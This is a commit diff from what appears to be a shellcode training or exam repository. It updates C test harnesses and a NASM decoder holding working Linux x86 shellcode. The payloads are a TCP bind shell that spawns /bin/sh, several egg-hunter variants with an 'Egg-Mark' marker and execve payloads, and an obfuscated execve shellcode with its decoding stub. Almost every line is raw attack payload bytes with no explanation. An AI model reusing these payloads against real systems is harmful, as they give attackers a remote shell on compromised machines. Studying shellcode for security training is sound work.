small updates

exam1/shellcode.c

@@ -1,7 +1,7 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char code[] = "\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80";
+unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xc3\xcb";
 
 main()
 {

exam3/access-noloop/shellcode.c

@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\x31\xd2\x39\xf2\x74\x2a\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1\x9d\x61\x89\xec\x5d\xc3";
+unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\x31\xd2\x39\xf2\x74\x2a\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\x81\x3a\x45\x67\x67\x2d\x75\xe9\x81\x7a\x04\x4d\x61\x72\x6b\x75\xe0\x8d\x4a\x08\xff\xe1\x9d\x61\x89\xec\x5d\xc3";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x12\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 

exam3/access-scasd-noloop/shellcode.c

@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\xfc\x31\xd2\x39\xf2\x74\x2b\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\xb8\x48\x65\x72\x65\x89\xd7\xaf\x75\xe7\xb8\x49\x74\x49\x73\x8d\x7a\x04\xaf\x75\xdc\xff\xe7\x9d\x61\x89\xec\x5d\xc3";
+unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\xfc\x31\xd2\x39\xf2\x74\x2b\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\xb8\x45\x67\x67\x2d\x89\xd7\xaf\x75\xe7\xb8\x4d\x61\x72\x6b\x8d\x7a\x04\xaf\x75\xdc\xff\xe7\x9d\x61\x89\xec\x5d\xc3";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 

exam3/access-scasd/shellcode.c

@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\xfc\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xec\xb8\x48\x65\x72\x65\x89\xd7\xaf\x75\xe7\xb8\x49\x74\x49\x73\x8d\x7a\x04\xaf\x75\xdc\xff\xe7";
+unsigned char hunter[] = "\xfc\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xec\xb8\x45\x67\x67\x2d\x89\xd7\xaf\x75\xe7\xb8\x4d\x61\x72\x6b\x8d\x7a\x04\xaf\x75\xdc\xff\xe7";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 

exam3/access/shellcode.c

@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xec\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1";
+unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xec\x81\x3a\x45\x67\x67\x2d\x75\xe9\x81\x7a\x04\x4d\x61\x72\x6b\x75\xe0\x8d\x4a\x08\xff\xe1";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 

exam3/basic/shellcode.c

@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\x40\x81\x78\xf8\x65\x67\x67\x2e\x75\xf6\x81\x78\xfc\x4d\x61\x52\x6b\x75\xed\xff\xd0";
+unsigned char hunter[] = "\x40\x81\x78\xf8\x45\x67\x67\x2d\x75\xf6\x81\x78\xfc\x4d\x61\x72\x6b\x75\xed\xff\xd0";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x65\x67\x67\x2e\x4d\x61\x52\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 

exam4/decoder.nasm

@@ -52,16 +52,16 @@ _decoder:
 	je short _runshellcode	; if we reach the exit marker, then we run the shellcode
 
 	;
-	; Collecting decoded shellcode in the EDX address
+	; Collecting decoded shellcode in the ESP address
 	;
-	mov byte [edx+ecx], al	; moving good byte to EDX
+	mov byte [esp+ecx], al	; moving good byte to ESP
 	inc ecx			; increase the counter
 
 	jmp short _decoder	; continuing
 
 
 _runshellcode:
-	call edx
+	call esp
 
 _down:
 	call _up		; ESP now has an address that points to the next instruction, however we are going UP

exam4/shellcode.c

@@ -1,7 +1,7 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0a\x41\xeb\xe3\xff\xd2\xe8\xd9\xff\xff\xff\x31\xD6\xc0\xFA\xb0\xD6\x0b\x37\x31\x37\xd2\xD6\x52\x37\x68\xD6\x6e\xFA\x2f\x37\x73\x37\x68\xD6\x68\xD6\x2f\xFA\x2f\x37\x62\x37\x69\xFA\x89\xD6\xe3\xFA\x52\x3F\x53\xFA\x89\xD6\xe1\xD6\x52\x3F\x89\xFA\xe2\x37\xcd\xFA\x80\xFA\x31\xD6\xc0\x3F\xb0\xD6\x01\xFA\x31\x3F\xdb\x37\xcd\xFA\x80\x3F\xAF";
+unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0c\x41\xeb\xe3\xff\xd4\xe8\xd9\xff\xff\xff\x31\xFA\xc0\x3F\xb0\xFA\x0b\xFA\x31\xFA\xd2\xFA\x52\xD6\x68\xD6\x6e\xFA\x2f\x37\x73\xD6\x68\x3F\x68\x37\x2f\x3F\x2f\x3F\x62\x37\x69\xD6\x89\x37\xe3\xFA\x52\xD6\x53\xD6\x89\xFA\xe1\xD6\x52\xD6\x89\x37\xe2\xFA\xcd\xFA\x80\x37\x31\xFA\xc0\x37\xb0\xD6\x01\xD6\x31\x3F\xdb\x3F\xcd\x3F\x80\x37\xAF";
 
 main()
 {